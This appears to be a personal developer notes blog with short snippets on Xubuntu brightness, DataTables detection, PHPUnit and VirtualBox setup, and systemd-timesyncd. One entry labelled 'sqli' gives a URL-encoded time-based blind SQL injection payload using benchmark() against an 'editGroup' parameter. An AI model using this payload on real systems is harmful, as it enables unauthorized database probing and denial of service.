http://identity.mozilla.com/post/46374271364/persona-is-distributed-today
Wednesday, March 27, 2013
Thursday, March 21, 2013
xubuntu brightness
sudo su
root@xubuntu:/home/pedro/Dropbox/www/kits# echo 10 > /sys/class/backlight/acpi_video0/brightness
Monday, March 18, 2013
How to detect if datatables is loaded
if($.fn.dataTableExt){
console.log('datatables ok');
}else{
console.log('datatables ko');
//head.ready(function() {head.js("js/libs/jquery.dataTables.min.1.9.4.js")});
}
Tuesday, January 29, 2013
Monday, January 28, 2013
sqli
%20and%20benchmark(20000000%2csha1(1))--%20
ex:
editGroup=1%20and%20benchmark(20000000%2csha1(1))--%20
ex:
editGroup=1%20and%20benchmark(20000000%2csha1(1))--%20
Thursday, December 20, 2012
PHPUnit
sudo pear upgrade pear
Install PHPUnit Dependencies
Now, we can install PHPUnit and it’s dependencies through PEAR.
$ sudo pear channel-discover pear.phpunit.de
$ sudo pear channel-discover components.ez.no
$ sudo pear channel-discover pear.symfony.com
$ sudo pear install --alldeps phpunit/PHPUnit
Make Sure It Works
After everything is complete, verify that phpunit works:
$ phpunit --version
PHPUnit 3.5.5 by Sebastian Bergmann.
Sunday, December 02, 2012
Installing VirtualBox Guest Additions on Ubuntu Server
sudo mount /dev/cdrom /media/
sudo apt-get install -y dkms build-essential linux-headers-generic linux-headers-$(uname -r)
sudo /media/VBoxLinuxAdditions.run
sudo mount -t vboxsf ShareName /var/www/sharename
sudo apt-get install -y dkms build-essential linux-headers-generic linux-headers-$(uname -r)
sudo /media/VBoxLinuxAdditions.run
sudo mount -t vboxsf ShareName /var/www/sharename
Subscribe to:
Posts (Atom)
systemd-timesyncd
sudo apt update && sudo apt install systemd-timesyncd && sudo systemctl enable --now systemd-timesyncd
-
sudo -u www-data /usr/local/bin/composer install --no-ansi --no-dev --no-interaction --no-progress --no-scripts --optimize-autoloader
-
sudo apt update && sudo apt install systemd-timesyncd && sudo systemctl enable --now systemd-timesyncd